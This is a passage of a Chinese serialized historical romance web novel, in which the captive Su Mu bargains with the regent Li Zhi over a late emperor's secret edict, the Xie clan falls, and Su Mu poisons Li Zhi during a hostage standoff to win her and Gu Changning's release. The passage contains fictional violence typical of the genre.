所以在再次见到人进来时, 苏木索性闭眼装睡。 摄政王李贽早就看穿了她, 他坐在她塌边, 指尖有一下无一下地磨蹭她的唇瓣,像是把玩一般又从她有些颤着地睫毛往鼻梁顺下。 苏木忍无可忍攸地睁眼瞪他:“你摸够了吗?” 她不知道这个人对她到底有何图谋, 若是想要从她嘴里或手里得到一些东西, 他还不如直接上些强硬的手段。 李贽收手看她,一如既往的平静:“看你这样, 已经知道我是谁了?” 回答他的是无尽地沉默。 李贽笑了, 他牵起苏木那一直挣扎地嫌恶他的手, 攥她攥地很紧:“苏木,我不想对你动手,所以你最好直接告诉我我想要的一切。” 苏木冷笑一声, 睨他一眼:“你为什么不直接杀了我。” “既然闳离阁是你摄政王的东西,你自然是来去无束,杀我也不过是捏死一只蚂蚁一般,你何苦像是询问我意见般一遍遍地问我明知道不会有的答案。” “你纵使再问我千遍万遍,我给你的答案都只有这一个。” 李贽却丝毫没有被她这番话激怒, 他不怒反笑:“哦?是吗?但是我不舍得杀你。” “可是不代表我不舍得杀别人啊。” 苏木心下一惊,几乎是用厌恶地神情恶狠狠地看着他:“你想要做什么!” 李贽不看她反而看向屋外:“带进来。” 一行人被羁押着进了屋内,大约有五人,全是闳离阁的其余弟子们,有大有小,最小的约莫才十岁。 苏木有一瞬的心惊,她看着五人身后的人都将剑刃压在了他们脖子上,其中一个弟子,看到了那刀刃有些瑟瑟发抖。 “师,师姐,救救我。” 他们向她投来了求救的眸光,一个个就像将她当作了唯一的救命稻草一般。 闳离阁多少是他的组织,他真的能对这些人直接下手吗,还是想诈她? 这些人说到底和她并没有共处过多少时日,李贽是凭什么认为她会愿意为了他们而吐露出他想要的答案。 苏木看向李贽,一副气定神闲地模样:“你想用他们威胁我,你随意。” 此话一出,李贽楞住一刻随即哈哈大笑,那几个弟子一听更是吓得两腿颤抖。 “是吗,既然如此,那便动手吧。” 咔擦,鲜血喷洒了屋内一地。 一个弟子已经如同烂泥般被割喉倒地。 苏木震惊不已,她没想要他居然真的会动手,她颤抖着身子,满脸的不可置信与愤怒。 紧接着下一个人又将刀压紧了几分,苏木颤着声音吼道:“慢!” 她愤愤然晃动着手腕上地铁链,却依旧没有挣脱他的手掌。 “李贽,你还不如直接杀了我!他们都是你的人,你就这么对待他们!你到底想要干什么!” 她吼地青筋暴起,可李贽却还是一副笑意阑珊的模样。 他撩开她因激动而有些散乱的发丝,说的极其认真:“我再问你最后一遍,顾长宁他们一行人究竟何时动身,走的那条道?” 苏木冷言冷语:“你不是查得到吗,你问我有什么用!” 李贽抚平她紧拧的眉头,用着有些威胁的意味:“继续。” “啊~” 一声痛苦的吼叫响彻了整个屋子,苏木急忙看去,是第二名弟子被身后人一刀砍在了后背。 趴在地上的人呜咽着。 李贽抬手看了看自己的五指,笑得很无奈:“他似乎还没死呢,你说这个剑要是不再差那么一寸,他是不是就死了!” “你无耻!” 苏木愤怒不已,她挣动着身子,恨不得杀了他。 眼看着那人又要举刀,挥刀差点落下时,苏木终于无力地闭眼吼道:“我说!我说。” 李贽懒散地抬了抬手,身后举着剑的侍卫往后退下了半步。 苏木放松般松了一口气,随即说道:“将他们带下去。” 李贽看着她,然后轻笑道:“带他们下去,那个伤着后背的给他找个大夫。” 一行人洋洋洒洒地离开,屋门关闭,屋内短暂回归平静,如果不是地下的那一滩血和空气中弥漫着恶心的血腥味,苏木几乎要以为刚才一切都没有发生过。 李贽瞧着塌上之人满额的汗,他抬袖替人擦拭,很细致,仿佛真的怕她受寒或者不舒服。 苏木懒得挣脱,就这样看着他动作。 李贽柔声道:“没吓着吧。” “放心,我不会伤着你的。” …… 苏木看着眼前这个长相绝美心肠却如此冷硬之人,她觉得很割裂,眼前人面上总是挂着笑意,但眼底隐藏的却是彻骨的寒。 “好了,你告诉我吧,顾长宁他们一行人什么时候出发,走的哪条道,燕伯在不在其中。” 苏木猩红的眼睛静下几分,她不能告诉他顾长宁他们的踪迹,何况就算顾长宁他不曾提起,她也并不是不知道他们是带着那样的目的进京。 他的眼睛也还没好。 若是遇上李贽他们,后果不堪设想。 她声音有些暗哑:“李贽,你有什么图谋我清楚的很。不如我们换个筹码。” “做个交易吧。” 那夜想不明白之事终于得清。 李贽等的就是这一刻。等她无能之时,以顾长宁他们之行为诱饵让她交出箭镞。 其实燕氏与谢氏究竟会落得什么下场,他根本不关心,也并没真的打算要按下这件事。 而顾长宁突然眼盲导致她不得不回宏离阁来,落入他的圈套。 她没有直接答他的话,李贽被她翻来覆去地绕过话题多少有些恼怒,但他有对她所说的交易有几分兴趣,他很想知道眼下这个人会不会把那个筹码拿出来。 她说话了。 “箭镞在我手上。” 她看着他,一字一句:“先帝的密令也在我手上。” 苏木可以明显感受到握着她的那只手僵着,她知道自己赌对了,她没停顿半分继续说道:“密令内容我也看过。” 这句话刚落,苏木感觉到自己喉咙被一股急具碾碎她一般的力气给桎梏住,那股力气越来越大,似乎不把她拧碎而不得罢休一般。 苏木感觉脑子麻麻的,喉咙传来的窒息感让她有些喘不过气,她脸涨地通红,眼睛却充满了毫不掩饰地笑。 她没有做挣扎,她的腿脚生理性地不断抽搐,那些哐当作碎的银链一点点砸进她的耳朵。 她知道李贽杀不了她。 果然,那些声音唤回了李贽的理智,他惊恐地收回手,随即茫然地看着塌上满脸涨红咳地厉害的人,他的手颤抖个不停。 苏木在他脸上终于看到了不只是随意、懒散、无畏的神情。 他眯起眼睛:“你故意激怒我?” 苏木咳出几滴眼泪来,眼泪滑落鬓角,苏木笑得畅快:“我只是在说实话。” “我要同你做个交易。” “我不管你是如何得知我有两个箭镞,也不管你是何时安排人手潜伏在我身边,不管是祝余还是……芜衣?我要告诉你的是。” “你放顾长宁他们安然入京后,这个箭镞,我给你。” 他调整地很快,他面上又恢复淡然模样,只是笑意不再如之前一般自然,他抽了抽嘴角,似乎还没从刚才的情绪中解脱出来:“我怎么知道你有没有骗我?” “你没有选择李贽。” 苏木告诉他这个清醒的事实:“箭镞就在我的手上,你杀不了我,你不和我做这笔交易,为了区区顾长宁你就要放弃得到密令吗,孰轻孰重我想你很清楚。” “难不成你还想用闳离阁的人威胁我?” 苏木眯起眼睛:“如果你再动他们一根汗毛,我哪怕鱼死网破,密令也不会交给你。” 李贽看着她,他突然意识到了什么,他嗫喏着开口,嘴唇有些颤抖。 “你,你是不是……想起来了?” 想起来什么,想起来十岁那年在蔺州野外捡到了浑身是伤的李贽,想起来和李贽朝夕相处的那三年,还是想起来李贽说等他功成名就后第一个就帮她翻案? 还是记起来李贽离开的那夜她被潇声下了抹去那三年记忆的药? 她从来都不欠李贽的,反而是李贽,欠下她一条命。 她别头不去看他,眼角落下一滴泪。 “李贽,你一直在利用我,利用我的身份将我送到上京去,从白薇被派去刺杀顾长宁时,一切都是你布下的局。” “你从来都不在意我的死活,只在意你的功成名就,你心底究竟盘算着什么,我很清楚。天子懦弱无能,当今太后是你生母,谢相也在为你做事,闳离阁也是你的人。” “这些年来,你下了好大一盘棋。” “所以,为了兑现你当年的承诺,我要你放弃谢家,让顾长宁进京揭发他的罪行,等他伏罪后,我会把你想要的东西给你的。” 她一口气说下许多,可她背后的那个人,哽咽着说不出一个字来。 他明明很希望苏木能想起来他们朝夕相处的那三年,可为什么事情似乎和他预想的不一样了。 “明……明儿。” 苏木无情地止住了他:“别这样叫我。” “你不配。” 曾几何时,闳离阁无处不是二人幼小地身影,二人一同练剑,她会安慰孤僻安静的比他大五岁的李贽,她会一点点把那个被抛弃的、破碎的李贽小心拼凑起来。 那是十六岁的李贽和十一岁的苏木。 “李贽哥哥你不用担心,你母后会把你接回去的。” “李贽哥哥你为什么这么大人了总喜欢哭?” “李贽哥哥,你看明儿给你带的糖。” “李贽哥哥,你要走了吗?” “李贽……” “李贽是谁……” 李贽掩上房门离开了,他离开的最后一句话是:“我相信你苏木,你不要骗我。” “骗我的人太多了,我一直在失去。” 一直在失去…… 苏木苦笑,谁又不是一直在失去呢。《 》 第92章【VIP】 第92章 天佑十二年秋, 昭明侯率军归京,京中一片欢喜。昭明侯战胜而归又治水有功, 龙颜大悦,赏千户食邑,晋为镖骑大将军,黄金百镒,丝绸千匹,良驹百匹,赐宅承爵。 恤在外征战而妻陨, 赐婚于谢相其侄叶眷与昭明侯喜结良缘, 于孟冬二十成婚。 忧其眼疾, 皇帝遣太医院众臣为其诊疗, 十五日后,复而得明。 上京城, 宣德侯府。 还有十日大婚, 宣德候府内却一片死寂。 夜色浸染着凉意,院中南窗下。 海棠枝桠横斜, 疏影筛落满地碎银。 顾长宁一身青衫半倚在石桌前, 手边酒壶倾斜, 琥珀色的酒液顺着壶嘴滴落在青石板上,晕开点点湿痕。 酒液洇湿一沓纸张,纸张上墨迹横飞, 乱风横飞,掀起也也纸张,满纸集韵,字迹或草或整。 男子指尖攥着白玉酒杯,杯中残旧晃荡, 杯子地下压着的是一张完整的,平展的纸卷。 纸卷上只余三字大大小小无穷个铺满,每一笔落锋处皆是思念。 那人曾在这石桌之上,一遍遍描摹他的名字。 顾长宁、顾长宁、顾长宁…… 扬风立在他身后,终于有些不忍心:“公子,风大了,你眼疾刚好,回屋吧。” 顾长宁摇摇头,随即又灌下一壶酒。 还是没有苏木的消息。 那日之后销声匿迹,她倒是走的着急,走的干脆。 扬风上前夺酒,脸上怒意盈盈:“公子,你何必为了哪些不想干的人做到这个地步,苏木她是谢家安排在你身边的人,你看她自上次一别后,说是给你取药,结果到现在也没个动静,幸好你眼疾之前好了大半,太医们才把你眼睛又救了回来!我看来,苏木根本就……” 顾长宁眉头一皱,很是不悦:“闭嘴。” “你别以为我不知道你打着我的名头做了什么。” 扬风的话卡在喉咙里,被这一问惊住了。 “公子,你…你知道?” 上次他将竹筒交给苏木,其实是想要试探一下她,看看她究竟会不会将回行消息透露给谢家之人。 他本以为自己所料想的肯定没错,苏木会借此机会将信交给谢家,他们在路上也一定会遭遇袭击。 但很意外,没有。 所以对于这件事情,扬风的确失策了。 也是自此以后,苏木便消失了。 扬风赧赧:“我都是为了公子,若她居心叵测,那我们所做一切不是白费了。” “这次,是我错怪她了。” …… 一阵沉默后,顾长宁没再发话。 他想起了苏木给他的鲁工锁。幸好,幸好一切不算晚。 那里面,有着苏木的一颗真心。 顾长宁将酒罐搁置:“一切都安排好了吗?” 扬风回神:“安排好了,狱里的人都喝了那碗酒。” 顾长宁点点头,看着这无尽长夜。 很快,暗夜将明。 …… 天佑十二年,孟冬十一日,谢均逃离上京,五日后达西,同西边杨氏伯爵联手携西边宁远蜀国起叛,顾长宁奉命平乱前往西边。 同月十五日,北边寮州侵犯边境,摄政王在南巡视不得归,鄢军节节颓败,皇帝率众举迁南下,途中皇帝忧思成疾,隐疾缠身。摄政王拦其南下,率众部回京一路厮杀,击退寮州旧部。 冬月初,昭明侯、镖骑将军顾长宁击退宁远国,掳杨伯、捉谢氏回京,并上奏状告谢氏谢均三条罪状:其一,在巫溪州府开采私矿,私自练兵造器,包藏祸心;其二,四年前勾连竺蛮诬陷周氏通敌,残害良将;其三,十年前为一己私欲灭沈氏一族,残害朝廷命官。 三罪共罚,罪不容诛。 为正纲纪,儆效尤,天子下令,谋逆之罪株连九族。判罚如下:一、罪臣谢均,凌迟处死,曝尸三日,以泄民愤;二、株连九族,凡父族四、母族三、妻族二(含祖父母、父母、兄弟姐妹、妻室、子女、外祖父母、外孙、外孙媳、舅父、姨母、岳父母、妻之兄弟姐妹等),无论长幼、尊卑、贤愚,尽皆处斩,无分良贱;三、族中资产悉数抄没入官,田宅、奴仆、财货一体查收;四、族中女子,年十五以上者,没入教坊司为妓;十五以下者,贬为宫奴; 后昭明侯借军功与婚约有请,谢氏一族赦谢辞桉、谢长盛为流放,叶眷为妾入侯府,沈珏乐恢复沈籍,燕氏因燕祐大义灭亲有功,除燕祐外其余人等男子充军女子流放。 如此,谢氏一族就此塌陷。 …… 稽查司牢房里,鬼哭狼嚎,阴湿冷寂。 谢均端坐草席之上,木栏外立着一人。 “摄政王殿下,用过之后就把臣踢开,倒是一手好计谋,我现在倒是有些替圣上担忧了。” 谢均不睁眼却已知来人是谁。 李贽低声笑了:“丞相大人这么说可就不对了。” “你私开矿产私藏兵器等,哪一个是我叫你干的?” “若是我干的,你何苦不把我供出来?” 谢均枯槁地眼睛缓缓睁开,他冷视李贽:“我只是没想到,你居然能和顾家搞到一块,你保下我儿,我替你封口,是一桩好交易。” 他看着牢口斜阳,如同一个日落西山,气息奄奄,他话语苍苍:“不过殿下,你倒别忘了当年我是封你的命去查先帝密令,沈家的覆灭是你一手造成的。” 李贽轻扯嘴角:“丞相大人糊涂了。” 谢均不以为然,他缓缓开口,如同所讲之事和自己无关:“是不是殿下,殿下心里很清楚。” 李贽眼神冷下几分:“我当年不过是想要让你查密令之事,是你借密令的借口知晓了沈御史查到你南边铁矿之事要弹劾你,你束手无策于是故意用五十只箭镞去灭人,想要将此事再嫁祸给周家或者是顾家,借查两家之时查明那多出来的第一百零一只箭镞——密信究竟攥在谁的手里。可你没想到你留下的那个箭镞被沈珏明捡了逃了!你灭了沈家却没理由查两家,还让沈珏明逃走了一次又一次,最后还是把把柄交到了她手里。” 谢均哈哈大笑:“殿下将自己摘得够清楚啊!” “有件事情我想问殿下,你是什么时候得知密令在她的手中的。” 李贽眸光悠远,不等他开口,谢均替他答了:“我知道,你早就知道苏木的身份,故意放她来上京调查真相,然后派人在她身边潜藏,观察她的一举一动,不管是她查顾家、周家还是谢家,都在你的掌握之中。” “难怪,她一个受了那么重伤的女子能从我死士手里逃脱一次又一次。” 李贽收敛了笑,面色越发阴沉:“你知道的还挺多。” 谢均看着他语重心长:“我既然都能知道,我相信沈珏明也不会还被蒙在鼓里,殿下有空在这看我这个阶下囚的笑话还不如琢磨琢磨,沈珏明手里那个密信究竟能不能到你的手里。” “毕竟你将她送到了顾长宁的身边,她就早就不是你的人了,她的心思,恐怕也不在你身上了。” 李贽笑容僵住了一瞬。 但他很快调整回一副随意散漫的样子。三年的情谊比不过她和顾长宁的一年吗,他不信。 …… 苏木被一路从蔺州带回了上京,现在,她被关在摄政王府内,日日都有人在她院子门外看守着 ,她出不去。 但出不去她也不着急了,她知道李贽不会杀她,现在似乎也没谁还想要杀她,她要杀的人也伏法了,她现下只是失去了自由而已。 不过,她还是想亲手解决了谢均。 国内乱党刚清,趁着太平日子还不久,李贽定然会想方设法的拉下皇位之上的人,现在的太平,不过是他犹豫用什么手段登上皇位。 用什么手段,关键在密诏之上。 太平日子没多久,李贽来找她了。 苏木正眯着眼在躺椅上晒太阳,悠哉游哉的暖意之间是无比的舒适,突然一高大身影挡住了日光,苏木蹙眉睁眼。 说起来有半月不见了,从李贽率兵平反到现在有多久,二人就有多久没见。 “谢氏一族伏罪了,顾长宁的功劳,你可满意?” 他顺着她旁边的石凳而坐,目光放在她的脸上。 这些事情早就传入了苏木的耳朵,她没回答。 “顾长宁待你倒是很好,为了你妹妹不被谢氏牵连,为了把谢辞桉叶眷等人救出来,用他那一身军功去换,用一纸婚约去换。” “你之前还以为他真要娶仇人之子,气地呕血。现在一切大明,你可感动?” 苏木藏在眼皮地下的眼珠子猛地一颤,她不想和他拉扯,她眼睛都没睁:“你想要说什么你就直说。” 李贽握住苏木自然垂在椅边的手:“我是想说,顾长宁日后怎样,你可想过。” 苏木抽回手,她被这话弄得一笑:“他日后怎样也不是我能决定的,你问我作甚?” 李贽也不恼怒,他笑道:“他是死是活呢?” 躺在躺椅上的人猛地一睁眼,警惕地看着他:“你什么意思?” 见她终于有了反应,可李贽并没有松快,反而他垂在膝前的双手猛地攥成了拳头。 苏木见他不表态,追问道:“他是立功之人,你若是想要登上那个位置,走弑君杀臣这条路,你坐不长久的。” 李贽挑眉看他:“路在我的脚下,我能走多久就能走多久。所以我说走,那条路我并不稀奇,但若是你愿意让我走松快一点的,没有那么多鲜血染成的路,我也愿意。” 他眸色冷下几分,声音幽暗起来:“况且明儿,你应该做一个信守承诺的人,一个月前我没有拦下顾长宁,今日你是不是应该把我要的东西交给我?” 苏木认真看他:“我给你了,你怎么对我,怎么对顾长宁?” 李贽笑得懒散:“你觉得呢?” 他眼睛眯起,仿佛看猎物般死死盯着苏木:“苏木,我对你够宽容了,我之前是答应你不拦顾长宁他们的路,但你本事倒是不小,瞒着我悄悄给顾长宁递了治眼疾的药,你这事做的不道德。可我还是放任你也没和你追究不是。” 苏木没否认,但是她看他的眼神并不算温和,连带着语气也不太好:“你不用装了,顾长宁的眼睛究竟为什么会反复,我想你比任何人都清楚。” 苏木没有耐心和他左顾而言它:“等你登基后你为君,你有什么命令我不能从?我要你现在答应我。” 李贽有些不高兴了:“明儿,你要的有些多了。” 李贽和她盘算:“你没有选择。就像你一个月前对我所说的,进我细细琢磨一下少流点血,退我可直接上手段镇压。” 他掀眼看她:“还是你觉得,他区区一个镖骑将军我摄政王奈何不了他?” 他如此自负,如此高高在上,苏木竟觉得他有些可怜了。 她也笑了,不过是苦笑。 她起身,一步步逼近李贽阴暗的脸庞:“李贽,你骗过我。” “你骗我关于沈家覆灭的真相;骗我给我服下失去记忆的药;骗我、利用我入京为你探取真相,结果兜兜转转你要的东西至始至终都不在这些人身上,在沈家手里。” “那你呢?你不是一开始就骗了我!” 李贽突然怒吼:“那个时候你告诉我,说你手里只有从沈家逃脱的那一枚箭镞,你让我日后一定要帮你,可你身上明明有你父亲交给你另一个箭镞,那个箭镞里的秘密是我一直所求的,你从没跟我提起过!可你却告诉了顾长宁!你凭什么告诉他!” 李贽双手攥着苏木的胳膊,他快要失去理智一般。 她凭什么将顾长宁看的如此重要,凭什么将他视为蛇蝎之人,直到如今,她都还是不肯帮他。明明在那个三年里,她和他有那样深的情谊,她明明告诉过他,安慰过他,护过他。 她曾抱着他:“李贽哥哥,我知道你是个好人,是他们对你太坏了!我都知道的。” 他是长子,从下就被母妃高要求约束,他时刻恭谨严于律己,时刻小心翼翼。他明明是皇子中最具有学识,胆识之人,才学,武学个个拔得头筹,就因为他是庶子?就因为他是继后之子,所以总被冷落,总被所谓的嫡子欺压。 就连两人争执明明是那嫡子李垚自己掉入湖中,他也要被训被弹劾被送往蔺州母家反省。 他在路上遭人追杀时有谁护过他,有谁替他感到不公,有谁曾正真在意他。 被救后他变得沉默寡言,藏拙自闭。 是她渐渐打开他的心房的。 他不过……他不过是想要走上至高之位,为他自己鸣冤为他在乎的人鸣冤。 李贽眼底充满了癫狂,他睁大着双眼,攥着苏木的手格外的用力:“我想帮你,我想帮你的!沈家的事情我很抱歉,我真的很抱歉,我不知道,我不知道的。” 他真的不知道,那时是她的母亲为他筹划去联手的谢均,只不过以他的名,打着为他好的名号,此后一切好处未曾得到,罪名尽在他一人之身。 凭什么…… 苏木挣脱他的手,她看着李贽迷茫癫狂、可怜的面容,他的泪从惊慌的眸中掉落。苏木没法无视。 她渐渐不再挣扎,她将李贽揽入怀中,就像当年一般抚慰他的情绪。 “李贽,你冷静一点。” “我没有告诉过顾长宁,从来没有。” 被这样温热的怀抱所圈,李贽在一丝恍然滞楞后回抱地更紧,泪水也落得更加汹涌。 “你不该是这样的李贽。过去的就过去了,你利用我也好,现在想要走上那个位置也好,你做到了你想要的,你得到了你想要的,你能不能也放过我。” 最后几个字落下,怀里的人僵住了。 他呆呆地往后退了几步,狂笑个不止。 苏木的腿也像灌铅了一般一步也不能动。 李贽冷冷看着她,仿佛之前在她怀里突然情绪失控的人不是他。 “你留下来和我杀了顾长宁,你选一个。” 苏木愣住了片刻。 她忽然觉得李贽执着的有些可怜。她自嘲一笑:“你留下我有什么用,你如果想说我将密诏给你和杀了顾长宁二者选一个,你知道我选哪个。” 他突然吼道:“那我先杀了顾长宁!” 苏木睁大眼睛看他:“你何必。” 看着李贽所说和他所想一般无二的狰狞面容,苏木无奈摇头,终于说出了那句话:“而且李贽,你杀不了他。” 李贽狂笑不止:“凭什么你觉得我杀不了他。该说你是看不起我还是说太看得起他?” “密诏在他那。” 死一般的沉寂。 李贽猛地往后退了几步,他捂住胸口喘息地厉害,他不可置信地看着苏木平静的面孔。不解,自嘲,苦笑,暴躁席卷他一身。 “哈哈哈哈哈哈哈”李贽笑中带着泪:“都是假的是吗?” “你不是说没有告诉他吗!你骗我苏木,你又骗我!” “好计谋,好计谋!” 苏木伫在那处看他,忽然觉得自己胸口闷的慌。 她没有办法。在她离开巫溪前,她将箭镞连带着那一封信都放在了鲁工锁里,她的身边不安全,她只能将那个东西放在顾长宁那里。即使顾长宁并不知道他身上带着一个怎样重要的东西。 苏木不再和他绕弯子,她极其疲惫地开口:“李贽,杀了他你就拿不到密诏了。你放了我,我让他把密诏给你,我们各自欢喜不好吗,你究竟要强求些什么。” 苏木忽而在李贽脸上见到了她从未见过的阴郁,他像一头狼,眼神紧咬住她不放,然后猛地冲过来抱住了她。 苏木感受到的不是暖意,是刺骨的寒。 随即,苏木感受到了脖间一阵冰凉。 她缓缓低头,那是一把短刃。是她每次做任务都会带的一把刀,防身自用从不离身。 这些年来,苏木某些时刻会很疑惑,她为什么要时刻带着这把刀,这把刀究竟是何时陪在她身边的。 现在她想起来了。这把刀是李贽送给她的。 可现在,李贽正拿着这把亲手送给她的刀挟持她。 心中堵塞翻涌,叹世事变迁。 他靠近她的耳朵,低声细语:“别怕,我不会伤着你的。” 随即,他声音比之刚才大上百倍。 “宣昭明侯来见孤!就他一人!”《 》 【全文完】 第93章 下雪了。 今年的雪比往岁都来的早些。才到冬月中旬, 该是落霜的季节,却突然下起了暴雪。 雪来的突然, 来的浩荡,悄无声息地落在透着枯草的青砖之上,嶙峋老树枝桠上,银冷屋脊砖瓦上,还有院中众人身上。 摄政王的黑衣卫包围了整个院落,每个人如鹰般挺立警惕,杀气肃然。 苏木被李贽挟在身前, 刀虽然抵在她脖间, 但刃却离她很远。 呼出的寒气弥漫在滞冷的空气之中, 瞧瞧化成冰雾。 苏木心底发慌, 他同李贽一样死死盯着门口。 不要来,不要来。 雪粒砸在青瓦上簌簌作响, 院落里的白气都冻得发僵, 连落雪的声音似乎都透着紧绷的滞涩。 苏木攥着袖角的手沁出冷汗,忽然间, 长街尽头传来马蹄声。 那声如同绷弓之弦, 让苏木紧绷的神经拉得更紧。 那声音不是缓步踏雪的轻响。急促、沉猛, 像重锤敲在冻硬的地面,一下下撞碎了院中的死寂。 声音越来越近,直到那声音带着风雪的凛冽撞入院门。 苏木呼吸一滞, 有些犹豫地抬眼望去。 雪幕中闯进来一抹冷蓝,顾长宁翻身下马的动作干脆利落,玄色马靴踩碎积雪,咯吱声落在苏木耳中格外刺耳。 他一身蓝劲装沾着雪沫,腰间佩剑的剑穗随他急促地步伐摇曳不停。 眉峰凝着霜气, 眼神锐利如寒刃,扫过院落的瞬间,漫天飞雪恍若无物。 顾长宁周身的寒气比落雪更甚,裹挟着生人勿近的压迫感,踏雪而来的每一步,都像踩在众人紧绷的神经上,满院的肃杀与紧张瞬间被推到极致,连呼吸都要被这冷硬的气势冻住。 对上苏木眸光的那一刻,顾长宁的脚步顿了顿。随即他向前地更加无所顾忌。 一步一步,直到离二人五步远的距离,被李贽叫住。 他眼中阴鸷不断,死死盯着苏木身后的人:“摄政王殿下,你此是何意?” 语气很冷,比风雪更甚。 他不过刚驻足片刻,雪已落了一肩。 李贽一笑,眼睛看向旁边守卫:“看到了吗,拔出那把剑,你将东西交出来然后以死谢罪,我饶了她。” 他手下的刃紧了几分,苏木感受到了皮肤传来了刺疼。 顾长宁猛地向前,李贽吼道:“你想要她死吗!退后!” 顾长宁冷着脸往后退了半步,但他没有按照李贽所要求的拔剑。 “李贽,我有何罪?” “你匿藏先帝遗诏密令,还不算罪?” 顾长宁冷笑反问道:“谁能证明密诏是我匿藏,倘若我说密诏一直在我手中又有谁能质疑?” 事实也的确如此,众人皆知先帝有密诏交给了谢周顾三家,至于究竟在谁的手中,居然在沈家手中等等无人知晓,自然有空子可钻,想怎么说就怎么说。 李贽同他一般笑出声来:“顾小侯爷能言善辩,我不和你争论此事。” “我只说最后一遍,密诏交出来,我不杀他。” 他的刀又紧了几分,这次不再是简单的相抵,顾长宁心惊地看到一股刺眼的红色正顺着脖颈留下。 “你停!停下!” 顾长宁立马吼道,然后满是担心的看着苏木:“没事的,没事的。” 苏木不确定李贽说的不伤自己性命究竟是真还是假,但她知道密诏一旦交出去,顾长宁和她就再无筹码在手。 她必须要拖延住时间。 苏木冷声怒道:“顾长宁,我用不着你管,这个密诏你需要呈上的是朝堂,不是李贽,我没事,我也用不着你管。” “他不会杀我的,你走!” “呃……” 苏木被刀压地更紧了一分,她无法多说一个字了,她喉头一动就能被划破。 顾长宁紧张地吼道:“李贽,你再敢将刀抵住半分!” 苏木听到身后传来不屑地声音,幽暗而阴冷:“顾长宁,她认为我不会杀她,可你看这刀刃,你觉得,我会不会杀她?” “李贽,你敢!” 顾长宁青筋暴起,许是因为紧张,他额头冒出密汗,伸直地手臂不住地打着颤。 身后人邪笑一声:“你看我敢不敢。” “停下,停下!” 顾长宁缓缓从衣襟中掏出了一枚精细的箭镞,他捏在拇指与食指指尖,有些发抖。 “你看,这是箭镞!”他正要沿着箭镞结构打开外盖,苏木叫住了他。 “顾长宁!” 几乎是同时,李贽吓地将那抵住他脖子的刀刃往后撤走了半分,他正要低眼查看前面之人脖子上的伤势,自己的手腕却被人猛地拽住了。 紧接着,苏木扭转他地手腕,手掌握着刀刃,李贽心惊松手,顾长宁打掉了他手中的刀。 苏木松开辖制,顾长宁与她并肩的同时,周围的死士一拥而上。 李贽愣着被人往后撤了几步,他看着自己发抖的手和地上沾着血的刀刃,眼底弥漫着复杂和惊慌。 差一点,苏木就死了。 幸好他撤的快。 他抬眼看着配合默契和人缠斗的二人,心底生出了无限的凉意。 苏木算准了他下不了手,她选择用她的命去堵他会不会松手。 他冷眼看着被人围攻却不见吃力的二人,嘴边扯起了极其冷淡的笑。 至始至终,从头至尾。 他李贽身后都是空无一人的。 一波又一波地人倒下又涌上,纵使二人武功了得,也渐渐吃力。 二人背靠着战斗,忽然让人回想起来一年前二人被追杀的那天。 顾长宁打斗之余观察着苏木这边动向,终于踹开一人后他方歇下一口气问:“你还好吗?” 苏木嫌他分心,利落回答:“别分心,不好对付,你小心些!” 几乎在说出这句话的同时,苏木被人找出了左腿的不利,被人一脚踹弯了左腿。 紧接着是右腿,腹背…… 顾长宁心惊拉起她在背后与人厮杀,急切询问:“苏木?” 一口鲜血涌出,苏木摇头踹开向她涌来之人:“我没事。” 顾长宁稍微松下一口气,随即说:“这样打下去不是办法。我掩护你先走!” 身后传来苏木平淡的声音,她声音极哑:“不用,毒快发了。” 顾长宁一拧眉,他背着身子又踹开一人问:“什么?你中毒了?” “不是我。” 扑哧一声,内院尽头站立之人突然猛喷出一滩黑血软瘫在地。 随即,李贽还没反应过来时,一口鲜血再次喷涌而出。 他终于察觉到了不对劲。 “住手!” 一声令下,所有死士皆停下了动作。 众人散开,庭中立着的两人正冷冷地看着他。 李贽面上被鲜血所染,在他那绝美的面容上仿佛开出的一朵曼陀罗,妖艳邪魅。 “苏木,是你……” 他难以置信地看着苏木,嘴里的血还在不停往外冒:“是你……你,我不舍伤你半分,可你,你居然暗算我!” 苏木心下沉闷,她被顾长宁扶着,语气平平:“我没有办法。” 李贽笑了,他笑得如嘶哑之鹰,无力苍白,穿透院墙。 他被呛地猛咳,鲜血顺着他嘴角往下,他抽搐不停。 李贽身后之人吓得一惊,立马怒道:“是毒药!解药呢!” 苏木冷冷看着李贽身后之人:“解药就在我身上。想要,答应我一个条件。” 瘫在冰冷玉阶之上的人冷笑出声:“你……你真的要我,我死?” 苏木沉默了。 说起来,李贽曾救过她一命,再加上那三年……她想要李贽死吗? 她不想。 可她冷冷开口:“你知道的,你和谢均之间的合作我就不说了,所以你要去陪谢家的人,我无话可说。” 良久的寂静。 李贽的声音苍白无力:“你恨我……你明明说,那些都过去了。” 苏木眼眶发红:“你没有多少时间了。” 他骄傲地摸了摸唇角,努力撑起半个身子,然后整个背部靠在下手的怀里,苍白而可笑地看着庭中站着的人:“你什么时候,下,下的药……” “我抱你的时候。” 李贽颓败地闭上了眼睛,他没让泪珠滑落。刚才的一切都像是一个笑话一般,就连抱他的时候,都是在算计他。 本来准备要问出的话,好像都堵在了喉咙里。 “说吧,什么条件。” “放我们走,等你登基后,你要的密令我会给你。”说完苏木顿了顿又加上了一句:“前提是你不用血腥的手段登基。” 李贽冷笑:“我本来也没打算杀那位。” 苏木厉声问他:“你答不答应!” 李贽看着很虚弱,他再啰嗦半分,他就无药可解了。 李贽笑了笑,仿佛又回到第一次见苏木的样子,眸中干净无尘:“这么急,你怕我死?” 苏木沉默了。 他也没想一定要等到一个答案。 “好!我答应你。” 她答应的绝对,苏木却不太相信他,她正犹豫着开口,李贽抢先一步道:“替我拟书:自即日起,若顾长宁,苏木二人将密诏交给我,我不伤二人性命,不阻二人去路,不杀李垚性命。” 他缓缓抬眼,用无力到快要失焦地眼神看向苏木:“够了吗?” 他身后之人很快拿来纸笔拟字,随即摊开给二人一一看过。 最后,李贽支着身后人的力气勉强站起,他不要红泥,他用拇指狠狠地划过自己的嘴角,然后在那摊开的纸张上摁下了重重的指纹。 纸张被他示意交给了苏木,作为交换,苏木将解药同时给了他。 至此,一场闹剧结束。 风雪如久。 二人背对而去,苏木驻足一瞬。 偌大宅屋,她留给他最后一句。 “李贽,山高水长,珍重。” 山高水长,多去看看吧,不要困于人心攻于心计。 珍重。 —— 五年后。 蜚楚。 朔漠街喧闹无比。西北朔风卷着沙砾,掠过青灰色的夯土城墙,街头漾起几分粗粝又鲜活的烟火气。 